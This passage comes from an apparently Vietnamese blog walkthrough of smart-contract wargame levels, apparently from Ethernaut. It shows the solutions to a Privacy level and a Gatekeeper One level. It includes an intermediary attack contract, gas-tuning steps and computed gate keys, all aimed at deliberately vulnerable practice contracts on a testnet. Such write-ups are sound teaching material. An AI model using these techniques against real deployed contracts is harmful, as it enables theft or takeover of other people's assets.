      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Phân tích:

  • Để giải quyết được bài toán này các bạn phải hiểu được cách mà storage hoạt động trong solidity. Về cơ bản thì phần này khá là dài và rắc rối, nên mình sẽ chỉ nói những phần cơ bản nhất để ta có thể làm được bài này, các bạn có thể đọc kỹ thêm tại bài viết này của mình:
    • Các biến sẽ được gộp lại thành từng slot có độ dài 32 bytes (256 bits), tức 64 ký tự hexa
    • Các biến sẽ lần lượt được đưa vào slot, nếu không vừa thì sẽ được đưa sang slot mới
    • Static array luôn sinh một slot mới, và cũng đưa các phần tử lần lượt vào slot như trên.
    • constant sẽ không được lưu vào storage => Có thể version 6 đã thay đổi
    • Note: nếu bạn dùng biến có độ dài nhỏ hơn 32 bytes, có thể contract của bạn sẽ tốn nhiều gas hơn! Vì EVM trong ethereum xử lý theo từng block 32 bytes mỗi phép tính, nên nếu có nhiều thành phần nhỏ hơn 32 bytes thì EVM sẽ phải tốn thêm phép tính để giảm size từ 32 bytes về size mà bạn đã định nghĩa.
  • Nhìn qua các biến của contract:
    • bool public locked = true;
    • uint256 public constant ID = block.timestamp;
    • uint8 private flattening = 10;
    • uint8 private denomination = 255;
    • uint16 private awkwardness = uint16(now);
    • bytes32[3] private data;
  • Như trên, ta sẽ có các slot như sau:
    • slot 0: locked
    • slot 1: ID
    • slot 2: flattening, denomination, awkwardness
    • slot 3: data[0] (do mỗi thành phần của data đã là 32 bytes rồi)
    • slot 4: data[1]
    • slot 5: data[2]
    • Vì thế data[2] sẽ có index là 3 trong storage của contract.

Solution:

  • Sử dụng hàm web3.eth.getStorageAt() để lấy ra data[2]
    await web3.eth.getStorageAt(instance, 5) 0x4410cd213b907ccbf8fa5e01667d9d2b6053dc02bb75e0ad3111095256275958
  • Do hàm unlock chỉ cần bytes16 thôi nên ta cắt đi một nửa độ dài đi và submit là xong (hoặc để cả cũng không sao)
    await contract.unlock(“0x4410cd213b907ccbf8fa5e01667d9d2b6053dc02bb75e0ad3111095256275958“)
  • Kiểm tra lại tình trạng khoá của contract:
    await contract.locked()
    false

Bình luận:

  • Các bài liên quan đến storage của smart contract luôn rất là rắc rối.
  • Các bạn có thể tham khảo thêm về storage của smart contract tại: Storage trong Ethereum smart contract

Gatekeeper One

Chú ý: Hãy luôn chọn đúng version solidity và tắt chế độ Enable Optimization trên Remix, vì với mỗi version số lượng gas tiêu tốn có thể khác nhau. Đây là một kinh nghiệm đau thương của mình khi tốn cả ngày trời debug mà không biết lỗi nằm ở đâu.

Nhiệm vụ: vượt qua 3 cánh cổng và thay đổi địa chỉ của cửa vào

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Phân tích & Solution: Ta sẽ phân tích cách vượt qua từng cửa một

Cửa số 1

modifier gateOne() {
  require(msg.sender != tx.origin);
  _;
}

tx.origin sẽ là địa chỉ nguồn nơi phát đi giao dịch, là một ai đó, msg.sender là địa chỉ gọi tới hàm hiện tại. Có nghĩa là, khi ta gọi trực tiếp một hàm contract thông thường thì msg.sender và tx.origin là giống nhau, còn nếu ta gọi hàm đó thông qua một contract trung gian thì tx.origin vẫn sẽ là ta, nhưng msg.sender sẽ là contract trung gian => Vì thế ta chỉ cần dùng một contract trung gian là có thể vượt qua cửa số 1.

Cửa số 2

modifier gateTwo() {
  require(msg.gas % 8191 == 0);
  _;
}

Đây chính là điều kiện khó nhằn nhất của bài, ta phải có kiến thức về debug contract để vượt qua nó. Trong bài này ta sẽ sử dụng Remix IDE để thực hiện. Ta chuẩn bị contract trung gian như sau:

pragma solidity ^0.4.18;

contract GatekeeperOne {
  modifier gateOne() {
      _;
  }
  modifier gateTwo() {
      _;
  }
  modifier gateThree(bytes8 _gateKey) {
      _;
  }
  
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool);
}

contract Backdoor {
  GatekeeperOne gk;

  function Backdoor (address _target) public {
    gk = GatekeeperOne(_target);
  }

  function enter(uint gaslimit, bytes8 key) public {
    gk.enter.gas(gaslimit)(key);
  }
}

trong đó _target là địa chỉ instance của bạn. Ta sẽ switch qua môi trường là JavaScript VM và compile lại cả GateKeeperOne và Backdoor contract để tiến hành debug. Ta sẽ set cho hàm enterGate2 một số lượng gas đủ lớn là 500000 gas, _key thì tuỳ ý vì ta chưa động đến gateThree.

Ở đây tuy transaction gần như chắc chắn sẽ fail, tuy nhiên từ đó, ta sẽ tiến hành debug và quan sát xem cho đến khi check điều kiện require(msg.gas % 8191 == 0); của gate 2 chúng ta đã tốn mất bao nhiêu gas, để theo đó có thể setup số lượng gas chính xác nhất

Ta thấy rằng cho đến bước 61, tức lúc debug chỉ vào msg.gas, số lượng gas hiện tại là 499787 gas, step này tốn 2 gas, vậy tổng số lượng gas đã mất là 500000 - 499787 + 2 = 215

Do đó ta chỉ cần điều chỉnh số lượng gas là 215 + 8191*100=819315 là đủ, sở dĩ nhân với 100 để đảm bảo sau khi qua gate 2 ta vẫn còn đủ gas để đi tiếp vào gate 3:

chạy lại, ta thấy vẫn lỗi, tất nhiên rồi vì đã qua gate3 đâu, tuy nhiên nếu bật debug lên thì ta thấy là đã qua gate 2 rồi. Ngon.

Cửa số 3

Note: hãy switch lại môi trường Rinkerby test net trước khi đến với cửa số 3 vì ta sẽ submit thực tế tại đây.

modifier gateThree(bytes8 _gateKey) {
  require(uint32(_gateKey) == uint16(_gateKey));
  require(uint32(_gateKey) != uint64(_gateKey));
  require(uint32(_gateKey) == uint16(tx.origin));
  _;
}

Mấy điều kiện khá là loằng ngoằng, haiz, đầu vào là một tham số _gateKey có kiểu dữ liệu là bytes8, tức 16 kí tự hexa.

Trước hết ta nhắc lại một lượt các giới hạn số nguyên trong solidity:

  • uint16: 0 tới 65535 ($ 2^{16} – 1 $)
  • uint32: 0 tới 4294967295 ($ 2^{32} – 1 $)
  • uint64: 0 tới 18446744073709551615 ($ 2^{64} – 1 $)

Khi ép kiểu thì nếu số đó lớn hơn giới hạn của kiểu dữ liệu, thì sẽ quay vòng trở lại từ số bé nhất.

Có nghĩa là, giả sử như ta ép kiểu uint16(x) thì kết quả ta nhận được sẽ là x % 65536

OK, quay trở lại bài toán, điều kiện thứ 3:

require(uint32(_gateKey) == uint16(tx.origin));

ở đây tx.origin chính là địa chỉ account của mình. Ở đây mình sử dụng địa chỉ của mình, các bạn hãy thay tương ứng với địa chỉ của các bạn.

Do việc tính toán với số lớn của javascript hơi củ chuối, nên mình dùng python để tính toán

Trước tiên ta sẽ tính uint16(tx.origin)

>>>int('0xf32fd9e7d64a3b90ce2e5563927eff2567ebd96b', 16) % 2**16
55659

Vậy thì từ require(uint32(_gateKey) == uint16(tx.origin)); ta có _gateKey sẽ có dạng $ 2^{32}*x + 55659 $

Điều kiện đầu tiên:

require(uint32(_gateKey) == uint16(_gateKey));

Ta thấy rằng với dạng $ 2^{32}*x + 55659 $ thì điều kiện trên rõ ràng luôn đúng vì

(2^{32} \times x + 55659) ~ mod ~ 2^{32} = (2^{32} \times x + 55659) ~ mod ~ 2^{16} = 55659(232×x+55659) mod 232=(232×x+55659) mod 216=55659

nghĩa là chỉ cần một số đi quá chu kì của $ 2^{32} $ một lượng nhỏ hơn $ 2^{16} $ là ok

Điều kiện thứ 2:

require(uint32(_gateKey) != uint64(_gateKey));

Để đạt được điều kiện này ta chỉ cần một số đi quá giới hạn của uint32 nhưng chưa tới giới hạn của uint64, khi đó số đó sẽ quay trở lại rất nhỏ với uint32 nhưng vẫn còn rất lớn với uint64, thật vậy

(2^{32} + 55659) ~ mod ~ 2^{64} = 4295022955(232+55659) mod 264=4295022955

(2^{32} + 55659) ~ mod ~ 2^{32} = 55659(232+55659) mod 232=55659

Vậy nên ta chọn luôn số $ 2^{32} + 55659 $ và chuyển nó qua dạng hex là ok

>>> 2**32 + 55659
4295022955
>>>hex(4295022955)
'0x10000d96b'

vì chuỗi key là dạng bytes8, tức 16 ký tự hexa, ta sẽ thêm vài số 0 ở đầu để đảm bảo key dài 16 ký tự: 0x000000010000d96b thay key bằng chuỗi bên trên và submit

Kiểm tra lại xem entrant đã đổi thành địa chỉ của mình chưa ?

> await contract.entrant()
"0xf32fd9e7d64a3b90ce2e5563927eff2567ebd96b"

Có thể bạn quan tâm:

Tham khảo:

Bài viết này có hữu ích với bạn?

Kích vào một biểu tượng ngôi sao để đánh giá bài viết!

Xếp hạng trung bình 5 / 5. Số phiếu: 48

Bài viết chưa có đánh giá! Hãy là người đầu tiên đánh giá bài viết này.

5 Bình luận

  1. Nguyễn Phú Thành

    Hay thật đấy. Mình thất sự muốn biết những điều này để tránh các rủi do trong Blockchain và SmartContracT
    Cảm ơn bạn nhiều

  2. BlockChaien

    Bài quá hay.
    Admin có kênh trao đổi (tele, zalo, messenger) nào để ae dev blockchain vào học hỏi/trao đổi không?

  3. Childe

    Như này thì các hacker dễ hack quá nhỉ. Dùng remix có tác động trực tiếp được vào contract k bạn?

Trả lời

Giao diện bởi Anders Norén